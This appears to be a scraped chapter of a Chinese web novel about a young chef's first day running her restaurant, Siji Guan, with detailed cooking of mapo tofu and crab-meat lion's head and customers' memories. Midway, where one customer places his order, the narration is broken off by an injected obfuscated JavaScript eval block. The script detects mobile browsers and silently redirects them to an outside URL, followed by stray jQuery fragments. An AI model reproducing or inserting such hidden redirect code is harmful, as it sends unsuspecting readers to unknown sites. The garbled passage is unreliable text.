敞开大门迎客，一股香醇又咸鲜的香味勾住了附近闻声而来凑热闹的老头儿老太太。
“丫头，你这是做什么生意的？”
“开菜馆的，欢迎大家来尝尝。”林知白笑着说。
三三俩俩进门，进门看见墙上一个木制牌匾，上面写着今日食单，字迹工整，别有风骨。下面挂着四个木牌，上面分别写着蟹粉狮子头88元、麻婆豆腐58元、鱼香茄子煲58元、阳春面32元。再往下是一个横木牌，上面写字菜品自带米饭一碗，添饭一碗2元。
钱翠荣老太太退休前是市人民医院的医生，退休后一头扎进夕阳舞蹈队，听说家附近的街道开了家新店，乒乒砰砰的装修了一个周，今天开业来凑热闹。
一进门钱翠荣老太太看到木牌上的价格，大吃一惊：“小姑娘，你这可不便宜。”
小姐妹叽叽喳喳：“哪有这么贵的嘞。”
林知白笑笑：“我的菜值这个价，您尝了就知道了。”
钱翠荣想转身就走，这条街上往前数十年都没这么贵的黑店，香味太恼人，飘入她鼻尖，她顿了顿。
真是好香的味道！她脚步一顿，看向身边好姐妹们：“要不尝尝？”
万芳也闻到了那股香味，她想了想：“那咱们拼着吃？还能互相尝尝。”
柳兰赞同道：“我看可以。”
三人要了麻婆豆腐、鱼香茄子煲、阳春面各一份，李书成操作着收银台：“诚惠148元。”
几人小声议论：“点这么多不好吃可就亏了。”
“可是刚刚那股味道……”
“算了算了，”万芳指着一张桌子，“咱坐那吧。”
林知白起锅烧油，下葱蒜末煸炒，等到出香味再加入她早就切好的豆瓣酱和豆豉，炒出香味加牛肉馅料，变色后淋入料酒生抽上色，添水煮开。
等煮开的功夫林知白下了阳春面，水要多，火要旺，滚两滚即捞出。
林知白看着麻婆豆腐的锅煮开，下盐泡过的豆腐块炖煮，勾芡，撒上花椒面和小葱末，最后淋上热油。
李书成忙把麻婆豆腐端到托盘上，再放上盛好的米饭，端到钱翠荣眼前。
麻、辣、烫、香、酥、嫩、鲜、活！一下子勾住了桌上人的目光，钱翠荣先尝了一口，麻味卡喉，又辣又香！
“好吃！”老太太被麻味呛了一下，“这道菜让我想起我老伴。”他以前总嫌她口味淡，她嫌他吃太辣。后来他不在了，她也没再吃过这么辣的菜。今天是被香味勾进来的，没想到吃的眼睛有点酸。
柳兰和万芳紧跟其后，肉末入口就酥，沾牙即化，嘶溜一下咽下去，这也太好吃了！
品尝的功夫阳春面也端上桌，汤清、味鲜、面滑，三人一人分了一小碗，埋头吃的谁也不说话。
林知白这会儿鱼香茄子煲也做好，它和麻婆豆腐、阳春面不同，走的是浓油赤酱、咸甜酸辣的复合路线。
鱼香茄子煲连锅带气，滋啦作响。钱翠兰一筷子下去，茄子吸饱了酸甜辣的汤汁，表面微酥，内里软糯，她能扒半碗饭。
直到走出四时馆一段距离，万芳说“下次还来”。钱翠荣也还在回味，说“下次点那个狮子头”。旁边柳兰赞同的点头。
送走了三位老太太，又进来一对年轻夫妻。女人看着价格拉着男人要走，男人说尝尝，点了一份麻婆豆腐，多加了一碗米饭，两人分着吃。吃到一半女人说下次还来。
大部分的人看了价格就走了，也有受不了香味坐下尝尝的。
韩老爷子是个老饕，看了看菜单，点了个蟹粉狮子头。人老了，不爱吃肉，但又怀念年轻时候在苏南一带闯荡的滋味。
蟹粉狮子头不同于江湖菜，走的是大巧不工的路子，不靠调味，只凭食材本鲜。做得不好的人吃一口都嫌腻。
肥瘦五五分的五花肉，切成石榴籽大小的肉丁，今早现拆的蟹粉，靠肉丁自身的胶质和一个蛋清摔打上劲。砂锅底铺上白菜叶，放入狮子头，倒入沸水、料酒、姜片，就这么小火慢炖至少两小时，火候要小到水面只冒鱼眼泡，微沸不翻滚。出锅前林知白烫了几颗小青菜心做点缀。
李书成端出来，韩老爷子看到的就是汤清菜绿、肉白蟹黄、卖相极雅的蟹粉狮子头。
好！韩老爷子在心里暗暗叫好了一声，光看着卖相就不止68了。他用勺子轻轻一拨，肉圆自然散开，吸饱了汤汁的肉丁和蟹粉在嘴里化开，鲜甜！
他从前在苏南有位老朋友很会做蟹粉狮子头。年轻的时候他们一起闯荡，每到吃螃蟹的季节，他都要做上这么一道蟹粉狮子头，配上二两黄酒，畅快淋漓地聊到天边泛起鱼肚白。
韩老爷子吃完沉默了很久。不是沉默的品味，而是沉默的想起什么。四十年了，他以为自己早就忘记当初那碗蟹粉狮子头的味道了，可是一口下去，他没忘。他甚至记得老朋友在锅底喜欢铺白菜叶而非猪皮。他嫌猪皮腻。今天这个铺的也是白菜叶。
一个穿着老一中军训服的中年男人推门进来，看了看价格，摸了一下口袋，又出去了。林知白看到了，但没说什么。但她看到了。
林知白想得开，不担心客人少，只要他们吃一次，她就会有回头客。人传人，人带人，每天几个新客，她这四时馆就开得下去，开得长久。
午后客人渐渐散了，林知白从厨房出来透了口气。她做了一份鱼香茄子煲和麻婆豆腐作为午餐，和李书成在离门最近的桌子一起吃。
徐丰是住在附近的一名大三学生，暑假昼夜颠倒的过。昨晚通宵打游戏，今天睡醒已经两点，他溜溜达达出来找点吃的。这一片儿他都吃过，太好吃的也没有，中规中矩的垫肚子还是可以的，比食堂强。走着走着发现街边新开一家四时馆，透过玻璃门看过去好像还营业，有两人吃的正香。
他推门进去，闻见一股霸道的鲜香麻辣味，只见扒饭的那个男生拿着碗筷嗖的一下突然站起来，旁边专注吃饭的女生也放下碗筷。
“你继续吃。”林知白起身三两步走过来，问新进来的客人：“您看看有什么想吃的吗？”
徐丰看着墙上可怜的四个木牌，又看了一眼李书成桌上的菜，真香啊！
“要一份鱼香茄子煲吧。”他并不缺钱，但也不是冤大头。但是他用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841615|211663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
膝盖闻着都觉得好吃啊！
“好的，马上就好。”林知白走向厨房。
徐丰心不在焉的玩着手机，余光瞥向那边的桌子，怎么这么香啊！
鱼香茄子煲端上来，徐丰光闻着味道就食指大动，迫不及待夹了一筷子塞到嘴里，他决定鱼香茄子煲从此是他最爱吃的菜！
他妈也会做鱼香茄子煲，做的一般，偏甜。他一直以为鱼香茄子煲是他妈做的那个味道。今天吃了一口才发现他从前吃的不太正宗。但他没有继续对比，埋头吃着饭。
他妈总是出差，在家的日子很少。他想起她上周给他打电话嘱咐他别熬夜，问他有没有好好吃饭。他敷衍了声有，然后挂了电话点外卖。今天终于不是外卖了，等他妈回来，他带她来吃。
一口接着一口，等吃完了茫然的看着眼前的空砂锅。嗝……好饱。可他还想尝尝别的……
“姐姐，你们这下午开门吗？”
林知白点头：“开的。”
徐丰笑笑：“我能下午在这待着吗，再过几个小时我就能吃晚饭了。”
林知白忍俊不禁：“可以。”
徐丰戴上耳机准备开始打游戏，看着擦桌子的李书成总觉得有些眼熟。“你是我们那届高考状元！”
李书成抬头看了看他，平静的点了点头，然后去门口贴林知白写的招工告示。林知白倚着柜台，笑道：“他这么出名呢？”
徐丰耳机一摘，“那可不，他那成绩单当时都传疯了，谁不知道二中出了个天才学神。”
林知白笑眯眯的送了他一瓶饮料，她听着高兴。
晚上陆陆续续来了些客人，大多是中午来过的回头客，徐丰点了他垂涎已久的麻婆豆腐，配着大米饭大口吃的香。
大概九点的时候，一个加班到很晚的年轻人路过这家店，抱着试试的态度推开了大门，咬咬牙点了最便宜的阳春面。
他领带松了，袖子卷到手肘，坐下来先灌了杯凉白开，吃的狼吞虎咽。不是赶时间，是累的筋疲力竭了。林知白多给他加了勺浇头，他没说话，只是吃完后把碗端到取餐口，轻声说了句谢谢。
晚市结束，灶台还热着，椅子倒扣在桌上。给李书成端了一碗狮子头，又下了一碗阳春面。她站在门口透气，街上已经没什么人了。隔壁杂货铺的老板娘正在拉卷帘门，她打了个招呼。这是四时馆第一个营业日，她觉得还不错。
等到收拾完已经十点多了。林知白决定调整一下，午饭以后先吃过再营业，然后下午那顿吃晚饭，她实在不习惯很晚回家。
关灯之前她回头看了一眼店里，空桌椅，擦干净的灶台，柜台上摆着李书成从算命先生那买来的招财猫。这是她的店，她关灯，锁门。
她不知道明天会有多少客人，但她知道她会在这里，这是她的厨房，她的菜馆，她的四季。
夜色疏朗，街上只有路灯和两个人的影子。他走在她旁边，没说话。她忽然想起五年前那个在许奶奶家的夜晚，也是这么个时候。她趿拉着鞋去院子里，看见他在月光下喂大黄狗。那时候他也是这样，不说话，但一直在旁边。现在也是。